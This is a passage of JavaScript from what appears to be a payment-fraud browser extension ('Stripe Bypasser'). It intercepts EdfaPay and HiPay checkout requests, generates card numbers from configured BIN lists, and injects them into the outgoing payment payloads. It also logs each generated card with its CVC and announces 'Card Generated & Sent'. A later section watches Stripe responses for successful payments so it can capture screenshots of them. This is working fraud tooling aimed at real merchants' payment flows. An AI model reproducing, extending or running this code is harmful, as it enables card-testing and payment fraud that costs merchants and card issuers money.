        setTimeout(fillPaddleHostedFields, 3000);
        setTimeout(fillPaddleHostedFields, 5000);
        setTimeout(fillPaddleHostedFields, 8000);
      } else {
        setTimeout(initPaddleFormInjector, 300);
      }
    } catch (error) {
      if (stripeBypasserLogger) {
        stripeBypasserLogger.warn("[PaddleFormInjector] Observer error", error);
      }
    }
  }
  if (typeof window !== "undefined") {
    if (document.readyState === "loading") {
      document.addEventListener("DOMContentLoaded", () => setTimeout(initPaddleFormInjector, 100));
    } else {
      setTimeout(initPaddleFormInjector, 100);
    }
  }
  function handleEdfaPayRequest(payload, cardData) {
    try {
      cardData ||= getActiveBypasserSettings({
        enabled: false
      });
      if (!cardData || !cardData.enabled) {
        stripeBypasserLogger.warn("[EdfaPayHandler] Extension disabled or settings not enabled");
        return payload;
      }
      if (!payload.body) {
        return payload;
      }
      let requestBody = payload.body;
      const hasPayloadForm = payload.body instanceof FormData;
      if (hasPayloadForm) {
        const searchParams = new URLSearchParams();
        for (const [bodyKey, bodyValue] of payload.body.entries()) {
          searchParams.append(bodyKey, bodyValue);
        }
        requestBody = searchParams.toString();
      } else if (payload.body instanceof URLSearchParams) {
        requestBody = payload.body.toString();
      } else if (
        typeof payload.body !== "object" ||
        payload.body instanceof FormData ||
        payload.body instanceof URLSearchParams
      ) {
        if (typeof payload.body !== "string") {
          requestBody = String(payload.body);
        }
      } else {
        try {
          requestBody = JSON.stringify(payload.body);
        } catch (error) {
          requestBody = String(payload.body);
        }
      }
      if (
        typeof requestBody !== "string" ||
        (!requestBody.includes("card_number") && !requestBody.includes("cardNumber"))
      ) {
        return payload;
      }
      const requestFingerprint = ((requestUrl, requestBody) => {
        try {
          let normalizedUrl = requestUrl;
          if (normalizedUrl && typeof normalizedUrl === "string") {
            try {
              if (normalizedUrl.startsWith("http://") || normalizedUrl.startsWith("https://")) {
                const parsedUrl = new URL(normalizedUrl);
                normalizedUrl = parsedUrl.protocol + "//" + parsedUrl.host + parsedUrl.pathname;
              } else if (
                typeof window !== "undefined" &&
                window.location &&
                window.location.origin
              ) {
                const parsedUrl = new URL(normalizedUrl, window.location.origin);
                normalizedUrl = parsedUrl.protocol + "//" + parsedUrl.host + parsedUrl.pathname;
              } else {
                const match = normalizedUrl.match(/\/[^?]*/);
                normalizedUrl = match ? match[0] : normalizedUrl.split("?")[0];
              }
            } catch (error) {
              const matchData = normalizedUrl.match(/\/[^?]*/);
              normalizedUrl = matchData ? matchData[0] : normalizedUrl.split("?")[0];
            }
          }
          return normalizedUrl + "|";
        } catch (error) {
          return (
            (requestUrl && typeof requestUrl === "string"
              ? requestUrl.substring(0, 100)
              : String(requestUrl || "")) +
            "|" +
            (requestBody && typeof requestBody === "string" ? requestBody.substring(0, 100) : "obj")
          );
        }
      })("", requestBody);
      if (
        (requestKey => {
          if (typeof window === "undefined" || !window.__EdfaPayBypasserRequestTracker) {
            return false;
          }
          const now = Date.now();
          const requestTracker = window.__EdfaPayBypasserRequestTracker;
          const lastTrackedAt = requestTracker.get(requestKey);
          if (lastTrackedAt && now - lastTrackedAt < 15000) {
            if (typeof console !== "undefined" && console.log) {
              console.log("[EdfaPay] 🚫 Duplicate request blocked", {
                requestKey: requestKey.substring(0, 80),
                lastProcessed: new Date(lastTrackedAt).toISOString(),
                timeSince: now - lastTrackedAt
              });
            }
            return true;
          }
          requestTracker.set(requestKey, now);
          try {
            if (requestTracker && requestTracker.size > 100) {
              const expiredKeysList = [];
              requestTracker.forEach((item, index) => expiredKeysList.push([index, item]));
              if (expiredKeysList.length > 100) {
                expiredKeysList.sort((left, right) => (left[1] || 0) - (right[1] || 0));
                expiredKeysList
                  .slice(0, expiredKeysList.length - 100)
                  .forEach(([currentEntry]) => requestTracker.delete(currentEntry));
              }
            }
            requestTracker.forEach((item, index) => {
              if (now - item > 60000) {
                requestTracker.delete(index);
              }
            });
          } catch (error) {
            if (stripeBypasserLogger) {
              stripeBypasserLogger.warn("[EdfaPayHandler] Request tracker cleanup error", error);
            }
          }
          return false;
        })(requestFingerprint)
      ) {
        stripeBypasserLogger.log("[EdfaPayHandler] Request already processed recently, skipping", {
          requestKey: requestFingerprint.substring(0, 100),
          url: "",
          merchantId: "".substring(0, 20),
          orderId: "",
          sessionId: ""
        });
        if (typeof console !== "undefined" && console.log) {
          console.log("[EdfaPay] ⚠️ Duplicate request detected, skipping card generation", {
            orderId: "",
            sessionId: ""
          });
        }
        return payload;
      }
      if (typeof console !== "undefined" && console.log) {
        console.log("[EdfaPay] ✅ Processing new request", {
          requestKey: requestFingerprint.substring(0, 100),
          url: "",
          merchantId: "".substring(0, 20),
          orderId: "",
          sessionId: ""
        });
      }
      let binList = [];
      try {
        if (Array.isArray(cardData.bin)) {
          binList = cardData.bin
            .filter(item => item && typeof item === "string")
            .map(item => item.trim())
            .filter(item => item.length > 0);
        } else if (cardData.bin && typeof cardData.bin === "string" && cardData.bin.trim()) {
          binList = cardData.bin
            .split("\n")
            .map(item => item.trim())
            .filter(item => item.length > 0);
        }
      } catch (error) {
        stripeBypasserLogger.error("[EdfaPayHandler] Error parsing BIN list:", error);
        return payload;
      }
      let parsedPayload = null;
      if (binList.length > 0) {
        if (typeof window !== "undefined" && !window.__EdfaPayBypasserBinRotation) {
          window.__EdfaPayBypasserBinRotation = {
            currentIndex: 0,
            lastResetTime: Date.now()
          };
        }
        let currentBinIndex =
          typeof window !== "undefined" && window.__EdfaPayBypasserBinRotation
            ? window.__EdfaPayBypasserBinRotation.currentIndex
            : 0;
        let binAttemptCount = 0;
        const totalBinCount = binList.length;
        let stripeBypasserCardGenerator = null;
        const waitStartAt = Date.now();
        while (!stripeBypasserCardGenerator && Date.now() - waitStartAt < 300) {
          if (
            typeof window !== "undefined" &&
            window.StripeBypasserCardGenerator &&
            window.StripeBypasserCardGenerator.parseBin &&
            window.StripeBypasserCardGenerator.generateCard
          ) {
            stripeBypasserCardGenerator = window.StripeBypasserCardGenerator;
            break;
          }
          if (
            typeof globalThis !== "undefined" &&
            globalThis.StripeBypasserCardGenerator &&
            globalThis.StripeBypasserCardGenerator.parseBin &&
            globalThis.StripeBypasserCardGenerator.generateCard
          ) {
            stripeBypasserCardGenerator = globalThis.StripeBypasserCardGenerator;
            if (typeof window !== "undefined") {
              window.StripeBypasserCardGenerator = stripeBypasserCardGenerator;
            }
            break;
          }
          const isDateNow = Date.now() + 10;
          while (Date.now() < isDateNow);
        }
        if (!stripeBypasserCardGenerator) {
          stripeBypasserLogger.error("[EdfaPayHandler] CardGenerator not available");
          return payload;
        }
        while (binAttemptCount < totalBinCount && !parsedPayload) {
          try {
            const currentBinPattern = binList[currentBinIndex % binList.length];
            const binMetadata = stripeBypasserCardGenerator.parseBin(currentBinPattern);
            if (!binMetadata) {
              currentBinIndex++;
              binAttemptCount++;
              continue;
            }
            const hasCardCvcModeGenerate = cardData?.cvcMode === "generate";
            parsedPayload = stripeBypasserCardGenerator.generateCard(
              binMetadata,
              hasCardCvcModeGenerate
            );
            if (cardData?.cvcMode === "custom" && cardData?.customCvc) {
              parsedPayload.cvc = cardData.customCvc;
            }
            if (parsedPayload) {
              if (typeof window !== "undefined" && window.__EdfaPayBypasserBinRotation) {
                window.__EdfaPayBypasserBinRotation.currentIndex =
                  (currentBinIndex + 1) % binList.length;
              }
              stripeBypasserLogger.log("[EdfaPayHandler] Card generated successfully:", {
                cardNumber: parsedPayload.number
                  ? parsedPayload.number.substring(0, 4) +
                    "****" +
                    parsedPayload.number.substring(parsedPayload.number.length - 4)
                  : "N/A"
              });
              break;
            }
            currentBinIndex++;
            binAttemptCount++;
          } catch (error) {
            stripeBypasserLogger.error("[EdfaPayHandler] Error generating card:", error);
            currentBinIndex++;
            binAttemptCount++;
          }
        }
        if (parsedPayload) {
          const cardBrand = getCardBrand(parsedPayload.number);
          try {
            if (typeof window !== "undefined" && window.StripeBypasserCardStorage) {
              const storedCardTask = window.StripeBypasserCardStorage.store(parsedPayload);
              if (storedCardTask && typeof storedCardTask.then === "function") {
                storedCardTask.catch(asyncError =>
                  stripeBypasserLogger.error("[EdfaPayHandler] Card storage error:", asyncError)
                );
              }
            }
            const cardSummary =
              parsedPayload.number +
              "|" +
              String(parsedPayload.month || "").padStart(2, "0") +
              "|" +
              String(parsedPayload.year || "").slice(-2);
            const cardLogString =
              cardData?.cvcMode === "remove"
                ? cardSummary
                : cardSummary + "|" + (parsedPayload.cvc || "");
            if (typeof window !== "undefined" && window.localStorage) {
              window.localStorage.setItem("edfapayBypasserLastCardString", cardLogString);
              window.localStorage.setItem("edfapayBypasserLastCard", JSON.stringify(parsedPayload));
            }
            if (typeof window !== "undefined" && window.postMessage) {
              window.postMessage(
                {
                  type: "STRIPE_BYPASSER_PAYMENT_LOG",
                  message: "EdfaPay: " + cardLogString + " (" + cardBrand + ")",
                  logType: "info"
                },
                "*"
              );
            }
            if (typeof document !== "undefined" && document.dispatchEvent) {
              document.dispatchEvent(
                new CustomEvent("stripeBypasserPaymentLog", {
                  detail: {
                    type: "STRIPE_BYPASSER_PAYMENT_LOG",
                    message: "EdfaPay: " + cardLogString + " (" + cardBrand + ")",
                    logType: "info"
                  }
                })
              );
            }
          } catch (error) {
            stripeBypasserLogger.error("[EdfaPayHandler] Error storing/logging card:", error);
          }
        }
      }
      if (
        typeof window === "undefined" ||
        !window.StripeBypasserPayload ||
        !window.StripeBypasserPayload.replaceCardInEdfaPayPayload
      ) {
        stripeBypasserLogger.error(
          "[EdfaPayHandler] PayloadManipulator not available or replaceCardInEdfaPayPayload not found"
        );
        return payload;
      }
      if (typeof console !== "undefined" && console.log) {
        console.log(
          "[EdfaPay] Handler: bodyLen=",
          requestBody.length,
          "hasCardNumber=",
          requestBody.includes("card_number"),
          "generatedCard=",
          !!parsedPayload,
          parsedPayload?.number ? parsedPayload.number.slice(0, 6) + "****" : null,
          "wasFormData=",
          hasPayloadForm
        );
      }
      const updatedPayloadText = window.StripeBypasserPayload.replaceCardInEdfaPayPayload(
        requestBody,
        parsedPayload || null,
        cardData
      );
      if (updatedPayloadText && updatedPayloadText !== requestBody) {
        const requestBodyText = rebuildRequestBody(payload.body, updatedPayloadText);
        const originalLengthInfo = {
          originalLength: requestBody.length,
          modifiedLength: updatedPayloadText.length
        };
        payload = {
          ...payload,
          body: requestBodyText,
          headers: window.StripeBypasserPayload.preserveHeaders(
            payload.headers,
            hasPayloadForm ? "multipart/form-data" : "application/x-www-form-urlencoded"
          )
        };
        stripeBypasserLogger.log(
          "[EdfaPayHandler] EdfaPay payload modified successfully",
          originalLengthInfo
        );
        if (typeof console !== "undefined" && console.log) {
          console.log("[EdfaPay] Payload replaced in request body OK");
        }
      } else {
        stripeBypasserLogger.warn("[EdfaPayHandler] Payload was not modified");
        if (typeof console !== "undefined" && console.log) {
          console.log("[EdfaPay] Payload NOT modified");
        }
      }
      const isTopSelf = typeof window !== "undefined" && window.top !== window.self;
      const isOnEdfaPayDomain =
        typeof window !== "undefined" &&
        window.location &&
        window.location.hostname &&
        (window.location.hostname.includes("edfapay.com") ||
          window.location.hostname.includes("pay.edfapay.com"));
      if (parsedPayload && (isTopSelf || isOnEdfaPayDomain)) {
        try {
          window.postMessage(
            {
              type: "STRIPE_BYPASSER_SHOW_BANNER",
              bannerText: "Card Generated & Sent",
              bannerType: "success",
              details: null
            },
            "*"
          );
        } catch (error) {
          stripeBypasserLogger.warn("[EdfaPayHandler] PostMessage banner error:", error);
        }
      } else if (
        parsedPayload &&
        typeof window !== "undefined" &&
        window.createStripeBypassBanner
      ) {
        setTimeout(() => {
          try {
            window.createStripeBypassBanner("Card Generated & Sent", "success");
          } catch (error) {
            stripeBypasserLogger.warn("[EdfaPayHandler] Banner error:", error);
          }
        }, 0);
      }
      return payload;
    } catch (error) {
      stripeBypasserLogger.error("[EdfaPayHandler] Fatal error:", error);
      return payload;
    }
  }
  const edfaPayBypasserPayment = {
    handleGogPayment: handleEdfaPayRequest
  };
  if (typeof window !== "undefined" && !window.__EdfaPayBypasserRequestTracker) {
    window.__EdfaPayBypasserRequestTracker = new Map();
  }
  if (typeof window !== "undefined") {
    window.EdfaPayBypasserPayment = edfaPayBypasserPayment;
  }
  function handleHiPayRequest(payload, cardData) {
    try {
      cardData ||= getActiveBypasserSettings({
        enabled: false
      });
      if (!cardData || !cardData.enabled) {
        stripeBypasserLogger.warn("[HiPayHandler] Extension disabled or settings not enabled");
        return payload;
      }
      if ((payload.url || "").includes("/token/update")) {
        let parsedPayload = null;
        try {
          if (typeof window !== "undefined" && window.localStorage) {
            const isStorageHiPayBypasser =
              window.localStorage.getItem("hiPayBypasserLastCard") ||
              window.localStorage.getItem("stripeBypasserLastCard");
            if (isStorageHiPayBypasser) {
              parsedPayload = JSON.parse(isStorageHiPayBypasser);
            }
          }
        } catch (error) {
          stripeBypasserLogger.error(
            "[HiPayHandler] Error retrieving stored card for /token/update:",
            error
          );
        }
        if (parsedPayload && payload.body) {
          try {
            if (
              typeof window !== "undefined" &&
              window.StripeBypasserPayload &&
              window.StripeBypasserPayload.replaceCardInHiPayPayload
            ) {
              let { body } = payload;
              if (typeof payload.body === "string") {
                body = window.StripeBypasserPayload.replaceCardInHiPayPayload(
                  payload.body,
                  parsedPayload,
                  cardData
                );
              } else if (
                typeof payload.body === "object" &&
                !(payload.body instanceof FormData) &&
                !(payload.body instanceof URLSearchParams)
              ) {
                const serializedData = JSON.stringify(payload.body);
                const updatedPayloadText = window.StripeBypasserPayload.replaceCardInHiPayPayload(
                  serializedData,
                  parsedPayload,
                  cardData
                );
                if (updatedPayloadText && updatedPayloadText !== serializedData) {
                  try {
                    body = JSON.parse(updatedPayloadText);
                  } catch (error) {
                    console.warn("[Deep Bypasser] Operation failed", error.message);
                  }
                }
              }
              payload = {
                ...payload,
                body,
                headers: window.StripeBypasserPayload.preserveHeaders(
                  payload.headers,
                  "application/json"
                )
              };
              stripeBypasserLogger.log("[HiPayHandler] /token/update modified with stored card");
            }
          } catch (error) {
            stripeBypasserLogger.error(
              "[HiPayHandler] Error modifying /token/update payload:",
              error
            );
          }
        } else {
          stripeBypasserLogger.warn(
            "[HiPayHandler] No stored card for /token/update, skipping modification"
          );
        }
        return payload;
      }
      let binList = [];
      try {
        if (Array.isArray(cardData.bin)) {
          binList = cardData.bin
            .filter(item => item && typeof item === "string")
            .map(item => item.trim())
            .filter(item => item.length > 0);
        } else if (cardData.bin && typeof cardData.bin === "string" && cardData.bin.trim()) {
          binList = cardData.bin
            .split("\n")
            .map(item => item.trim())
            .filter(item => item.length > 0);
        }
      } catch (error) {
        stripeBypasserLogger.error("[HiPayHandler] Error parsing BIN list:", error);
        return payload;
      }
      if (binList.length === 0) {
        stripeBypasserLogger.warn("[HiPayHandler] No BINs configured");
        return payload;
      }
      if (typeof window !== "undefined" && !window.__HiPayBinRotation) {
        window.__HiPayBinRotation = {
          currentIndex: 0,
          lastResetTime: Date.now()
        };
      }
      let currentBinIndex =
        typeof window !== "undefined" && window.__HiPayBinRotation
          ? window.__HiPayBinRotation.currentIndex
          : 0;
      let parsedPayload = null;
      let selectedBin = null;
      let binAttemptCount = 0;
      const totalBinCount = binList.length;
      let stripeBypasserCardGenerator = null;
      const waitStartAt = Date.now();
      while (!stripeBypasserCardGenerator && Date.now() - waitStartAt < 300) {
        if (
          typeof window !== "undefined" &&
          window.StripeBypasserCardGenerator &&
          window.StripeBypasserCardGenerator.parseBin &&
          window.StripeBypasserCardGenerator.generateCard
        ) {
          stripeBypasserCardGenerator = window.StripeBypasserCardGenerator;
          break;
        }
        if (
          typeof globalThis !== "undefined" &&
          globalThis.StripeBypasserCardGenerator &&
          globalThis.StripeBypasserCardGenerator.parseBin &&
          globalThis.StripeBypasserCardGenerator.generateCard
        ) {
          stripeBypasserCardGenerator = globalThis.StripeBypasserCardGenerator;
          if (typeof window !== "undefined") {
            window.StripeBypasserCardGenerator = stripeBypasserCardGenerator;
          }
          break;
        }
        const isDateNow = Date.now() + 10;
        while (Date.now() < isDateNow);
      }
      if (!stripeBypasserCardGenerator) {
        stripeBypasserLogger.error("[HiPayHandler] CardGenerator not available");
        return payload;
      }
      while (binAttemptCount < totalBinCount) {
        try {
          const currentBinPattern = binList[currentBinIndex % binList.length];
          if (
            !stripeBypasserCardGenerator?.parseBin ||
            !stripeBypasserCardGenerator?.generateCard
          ) {
            stripeBypasserCardGenerator = getAvailableCardGenerator();
          }
          if (
            !stripeBypasserCardGenerator?.parseBin ||
            !stripeBypasserCardGenerator?.generateCard
          ) {
            stripeBypasserLogger.error("[HiPayHandler] CardGenerator lost during generation");
            break;
          }
          const binMetadata = stripeBypasserCardGenerator.parseBin(currentBinPattern);
          if (!binMetadata) {
            stripeBypasserLogger.warn("[HiPayHandler] Failed to parse BIN:", currentBinPattern);
            currentBinIndex++;
            binAttemptCount++;
            continue;
          }
          const hasCardCvcModeGenerate = cardData?.cvcMode === "generate";
          parsedPayload = stripeBypasserCardGenerator.generateCard(
            binMetadata,
            hasCardCvcModeGenerate
          );
          if (cardData?.cvcMode === "custom" && cardData?.customCvc) {
            parsedPayload.cvc = cardData.customCvc;
          }
          if (parsedPayload) {
            selectedBin = currentBinPattern;
            if (typeof window !== "undefined" && window.__HiPayBinRotation) {
              window.__HiPayBinRotation.currentIndex = (currentBinIndex + 1) % binList.length;
            }
            stripeBypasserLogger.log("[HiPayHandler] Card generated successfully:", {
              bin: selectedBin,
              cardNumber: parsedPayload.number
                ? parsedPayload.number.substring(0, 4) +
                  "****" +
                  parsedPayload.number.substring(parsedPayload.number.length - 4)
                : "N/A"
            });
            break;
          }
          stripeBypasserLogger.warn(
            "[HiPayHandler] Card generation returned null for BIN:",
            currentBinPattern
          );
          currentBinIndex++;
          binAttemptCount++;
        } catch (error) {
          stripeBypasserLogger.error("[HiPayHandler] Error generating card:", error);
          currentBinIndex++;
          binAttemptCount++;
        }
      }
      if (!parsedPayload) {
        stripeBypasserLogger.error("[HiPayHandler] Failed to generate card");
        return payload;
      }
      const cardBrand = getCardBrand(parsedPayload.number);
      try {
        if (typeof window !== "undefined" && window.StripeBypasserCardStorage) {
          const storedCardTask = window.StripeBypasserCardStorage.store(parsedPayload);
          if (storedCardTask && typeof storedCardTask.then === "function") {
            storedCardTask.catch(asyncError => {
              stripeBypasserLogger.error("[HiPayHandler] Card storage error:", asyncError);
            });
          }
        }
        try {
          const cardSummary =
            parsedPayload.number +
            "|" +
            String(parsedPayload.month || "").padStart(2, "0") +
            "|" +
            String(parsedPayload.year || "").slice(-2);
          const cardLogString =
            cardData?.cvcMode === "remove"
              ? cardSummary
              : cardSummary + "|" + (parsedPayload.cvc || "");
          if (typeof window !== "undefined" && window.localStorage) {
            window.localStorage.setItem("hiPayBypasserLastCardString", cardLogString);
            window.localStorage.setItem("hiPayBypasserLastCard", JSON.stringify(parsedPayload));
            window.localStorage.setItem("stripeBypasserLastCardString", cardLogString);
            window.localStorage.setItem("stripeBypasserLastCard", JSON.stringify(parsedPayload));
          }
        } catch (error) {
          console.warn("[Deep Bypasser] Operation failed", error.message);
        }
        try {
          const cardSummary =
            parsedPayload.number +
            "|" +
            String(parsedPayload.month || "").padStart(2, "0") +
            "|" +
            String(parsedPayload.year || "").slice(-2);
          const cardLogString =
            cardData?.cvcMode === "remove"
              ? cardSummary
              : cardSummary + "|" + (parsedPayload.cvc || "");
          if (typeof window !== "undefined" && window.postMessage) {
            window.postMessage(
              {
                type: "STRIPE_BYPASSER_PAYMENT_LOG",
                message: "HiPay: " + cardLogString + " (" + cardBrand + ")",
                logType: "info"
              },
              "*"
            );
          }
          if (typeof document !== "undefined" && document && document.dispatchEvent) {
            document.dispatchEvent(
              new CustomEvent("stripeBypasserPaymentLog", {
                detail: {
                  type: "STRIPE_BYPASSER_PAYMENT_LOG",
                  message: "HiPay: " + cardLogString + " (" + cardBrand + ")",
                  logType: "info"
                }
              })
            );
          }
        } catch (error) {
          stripeBypasserLogger.error("[HiPayHandler] Error logging card:", error);
        }
      } catch (error) {
        stripeBypasserLogger.error("[HiPayHandler] Error storing/logging card:", error);
      }
      if (payload.body) {
        try {
          if (
            typeof window === "undefined" ||
            !window.StripeBypasserPayload ||
            !window.StripeBypasserPayload.replaceCardInHiPayPayload
          ) {
            stripeBypasserLogger.error(
              "[HiPayHandler] PayloadManipulator not available or replaceCardInHiPayPayload not found"
            );
            return payload;
          }
          let { body } = payload;
          if (typeof payload.body === "string") {
            body = window.StripeBypasserPayload.replaceCardInHiPayPayload(
              payload.body,
              parsedPayload,
              cardData
            );
          } else if (
            typeof payload.body === "object" &&
            !(payload.body instanceof FormData) &&
            !(payload.body instanceof URLSearchParams)
          ) {
            const serializedData = JSON.stringify(payload.body);
            const updatedPayloadText = window.StripeBypasserPayload.replaceCardInHiPayPayload(
              serializedData,
              parsedPayload,
              cardData
            );
            if (updatedPayloadText && updatedPayloadText !== serializedData) {
              try {
                body = JSON.parse(updatedPayloadText);
              } catch (error) {
                stripeBypasserLogger.error("[HiPayHandler] Failed to parse modified JSON:", error);
                return payload;
              }
            }
          }
          payload = {
            ...payload,
            body,
            headers: window.StripeBypasserPayload.preserveHeaders(
              payload.headers,
              "application/json"
            )
          };
        } catch (error) {
          stripeBypasserLogger.error("[HiPayHandler] Error replacing card in payload:", error);
          return payload;
        }
      }
      const isTopSelf = typeof window !== "undefined" && window.top !== window.self;
      const isOnHiPayDomain =
        typeof window !== "undefined" &&
        window.location &&
        window.location.hostname &&
        window.location.hostname.includes("hipay");
      if (isTopSelf || isOnHiPayDomain) {
        try {
          window.postMessage(
            {
              type: "STRIPE_BYPASSER_SHOW_BANNER",
              bannerText: "Card Generated & Sent",
              bannerType: "success",
              details: null
            },
            "*"
          );
        } catch (error) {
          stripeBypasserLogger.warn("[HiPayHandler] Banner postMessage error:", error);
        }
      } else if (typeof window !== "undefined" && window.createStripeBypassBanner) {
        setTimeout(() => {
          try {
            window.createStripeBypassBanner("Card Generated & Sent", "success");
          } catch (error) {
            stripeBypasserLogger.warn("[HiPayHandler] Banner error:", error);
          }
        }, 0);
      }
      return payload;
    } catch (error) {
      stripeBypasserLogger.error("[HiPayHandler] Fatal error:", error);
      return payload;
    }
  }
  const hiPayBypasserPayment = {
    handleGogPayment: handleHiPayRequest
  };
  if (typeof window !== "undefined") {
    window.HiPayBypasserPayment = hiPayBypasserPayment;
  }
  const captureState = Object.freeze({
    IDLE: "IDLE",
    SUCCESS: "SUCCESS",
    UI_READY: "UI_READY",
    CAPTURED: "CAPTURED"
  });
  let paymentCaptureState = captureState.IDLE;
  let paymentId = null;
  let lastCaptureSignalAt = 0;
  let deferredCaptureInfo = null;
  const allowedObjectTypes = Object.freeze(
    new Set(["payment_intent", "checkout.session", "invoice"])
  );
  const blockedObjectTypes = Object.freeze(
    new Set(["setup_intent", "customer", "source", "payment_method"])
  );
  function logCaptureStateTransition(eventLabel, previousState, nextState) {
    stripeBypasserLogger.debug("[FSM]", eventLabel, "(" + previousState + " → " + nextState + ")");
  }
  function logCaptureBlock(reason, candidatePaymentId) {
    stripeBypasserLogger.debug(
      "[BLOCKED]",
      reason,
      candidatePaymentId ? "paymentId=" + candidatePaymentId : ""
    );
  }
  function logCaptureDedup(paymentId, dedupReason) {
    stripeBypasserLogger.debug("[DEDUP]", dedupReason, paymentId);
  }
  function logCaptureScreenshot(...logParts) {
    stripeBypasserLogger.debug("[StrictScreenshot]", ...logParts);
  }
  function transitionCaptureState(nextState) {
    const previousState = paymentCaptureState;
    if (previousState === captureState.CAPTURED) {
      logCaptureBlock("FSM in terminal CAPTURED state, transition blocked", paymentId);
      return false;
    }
    paymentCaptureState = nextState;
    logCaptureStateTransition("transition", previousState, nextState);
    return true;
  }
  function wasCaptured(candidatePaymentId) {
    if (!candidatePaymentId) {
      return false;
    }
    if (
      !candidatePaymentId.startsWith("pi_") &&
      !candidatePaymentId.startsWith("cs_") &&
      !candidatePaymentId.startsWith("in_")
    ) {
      logCaptureBlock("Invalid payment ID format (not immutable)", candidatePaymentId);
      return false;
    }
    try {
      if (typeof window === "undefined" || !window.sessionStorage) {
        return false;
      }
      const parsedData = JSON.parse(window.sessionStorage.getItem("stripe_success_seen") || "[]");
      if (!Array.isArray(parsedData)) {
        return false;
      }
      const isParsedIncludes = parsedData.includes(candidatePaymentId);
      if (isParsedIncludes) {
        logCaptureDedup(candidatePaymentId, "already_captured");
      }
      return isParsedIncludes;
    } catch (error) {
      return false;
    }
  }
  function markCaptured(candidatePaymentId) {
    if (candidatePaymentId) {
      if (
        candidatePaymentId.startsWith("pi_") ||
        candidatePaymentId.startsWith("cs_") ||
        candidatePaymentId.startsWith("in_")
      ) {
        try {
          if (typeof window === "undefined" || !window.sessionStorage) {
            return;
          }
          const parsedData = JSON.parse(
            window.sessionStorage.getItem("stripe_success_seen") || "[]"
          );
          if (!Array.isArray(parsedData)) {
            window.sessionStorage.setItem(
              "stripe_success_seen",
              JSON.stringify([candidatePaymentId])
            );
            logCaptureDedup(candidatePaymentId, "marked_captured");
            return;
          }
          const parsedList = [...new Set([...parsedData, candidatePaymentId])];
          if (parsedList.length > 100) {
            parsedList.shift();
          }
          window.sessionStorage.setItem("stripe_success_seen", JSON.stringify(parsedList));
          logCaptureDedup(candidatePaymentId, "marked_captured");
        } catch (error) {
          logCaptureBlock(
            "Failed to mark payment ID as captured (storage error)",
            candidatePaymentId
          );
        }
      } else {
        logCaptureBlock("Cannot mark invalid payment ID as captured", candidatePaymentId);
      }
    }
  }
  function isVerifiedStripeSuccess(parameter) {
    if (!parameter || typeof parameter !== "object") {
      logCaptureBlock("Payload is not an object", null);
      return false;
    }
    if (
      !(payloadValue => {
        if (!payloadValue || typeof payloadValue !== "object") {
          return false;
        }
        const objectType = payloadValue.object;
        return (
          !!objectType &&
          typeof objectType === "string" &&
          !(blockedObjectTypes.has(objectType)
            ? (logCaptureBlock("Object type denied: " + objectType, null), 1)
            : !allowedObjectTypes.has(objectType) &&
              (logCaptureBlock("Object type not in allow-list: " + objectType, null), 1))
        );
      })(parameter)
    ) {
      return false;
    }
    if (parameter.next_action != null) {
      logCaptureBlock("next_action present (3DS/async flow)", null);
      return false;
    }
    const hcaptchaElementSet = new Set([
      "requires_action",
      "processing",
      "requires_payment_method",
      "incomplete",
      "open",
      "canceled",
      "requires_capture"
    ]);
    if (parameter.status && hcaptchaElementSet.has(parameter.status)) {
      logCaptureBlock("Status denied: " + parameter.status, null);
      return false;
    }
    let modifiedHtml = parameter;
    if (parameter.object === "checkout.session" && parameter.payment_intent) {
      modifiedHtml =
        typeof parameter.payment_intent === "object" ? parameter.payment_intent : parameter;
    }
    return (
      modifiedHtml.status === "succeeded" ||
      parameter.payment_status === "paid" ||
      (parameter.status === "paid" && parameter.object === "invoice") ||
      (logCaptureBlock("No verified success condition matched", null), false)
    );
  }
  function extractPaymentId(paymentData) {
    if (!paymentData || typeof paymentData !== "object") {
      return null;
    }
    if (paymentData.payment_intent) {
      const paymentIntentValue = paymentData.payment_intent;
      if (typeof paymentIntentValue === "string" && paymentIntentValue.startsWith("pi_")) {
        return paymentIntentValue;
      }
      if (
        typeof paymentIntentValue === "object" &&
        paymentIntentValue.id &&
        paymentIntentValue.id.startsWith("pi_")
      ) {
        return paymentIntentValue.id;
      }
    }
    if (
      paymentData.payment_intent_id &&
      typeof paymentData.payment_intent_id === "string" &&
      paymentData.payment_intent_id.startsWith("pi_")
    ) {
      return paymentData.payment_intent_id;
    }
    if (paymentData.id && typeof paymentData.id === "string") {
      if (paymentData.id.startsWith("cs_")) {
        return paymentData.id;
      }
      if (paymentData.id.startsWith("in_")) {
        return paymentData.id;
      }
      if (paymentData.id.startsWith("pi_")) {
        return paymentData.id;
      }
    }
    return null;
  }
  async function dispatchPaymentScreenshotCapture(reason) {
    if (
      paymentCaptureState !== captureState.SUCCESS &&
      paymentCaptureState !== captureState.UI_READY
    ) {
      logCaptureBlock("Capture attempted in invalid state: " + paymentCaptureState, paymentId);
      return;
    }
    if (!paymentId) {
      logCaptureBlock("Capture attempted without payment ID", null);
      return;
    }
    const now = Date.now();
    if (now - lastCaptureSignalAt < 2500) {
      logCaptureBlock("Capture throttled (too soon after last capture)", paymentId);
    } else {
      const reasonInfo = {
        reason,
        timestamp: now
      };
      if (typeof document !== "undefined" && document.hidden) {
        logCaptureBlock("Tab is hidden, deferring capture", paymentId);
        deferredCaptureInfo = reasonInfo;
        return;
      }
      lastCaptureSignalAt = now;
      if (
        await ((timeoutMs = 6000) => {
          return new Promise(resolve => {
            if (typeof window === "undefined" || typeof performance === "undefined") {
              resolve(false);
              return;
            }
            const startTime = performance.now();
            const waitForSuccessUi = () => {
              try {
                if (
                  (() => {
                    if (typeof document === "undefined") {
                      return false;
                    }
                    try {
                      const matchingElements = document.querySelectorAll(
                        '[aria-live], [role="alert"], [role="status"], div, [class*="toast"], [class*="notification"], [class*="banner"]'
                      );
                      for (const elementNode of matchingElements) {
                        const normalizedText = (
                          elementNode.innerText ||
                          elementNode.textContent ||
                          ""
                        ).trim();
                        if (
                          /payment\s+succeeded/i.test(normalizedText) &&
                          /auto[- ]?closing|seconds|countdown/i.test(normalizedText)
                        ) {
                          const boundingRect = elementNode.getBoundingClientRect();
                          if (boundingRect.width > 0 && boundingRect.height > 0) {
                            return true;
                          }
                        }
                      }
                    } catch (error) {
                      console.warn("[Deep Bypasser] Operation failed", error.message);
                    }
                    return false;
                  })()
                ) {
                  return resolve(true);
                }
                const querySelectorRoleValue =
                  typeof document !== "undefined"
                    ? document.querySelector(
                        '[role="status"], [aria-live="polite"], [data-testid*="confirmation"], [class*="Confirmation"], [class*="confirmation"]'
                      )
                    : null;
                if (querySelectorRoleValue) {
                  const boundingRect = querySelectorRoleValue.getBoundingClientRect();
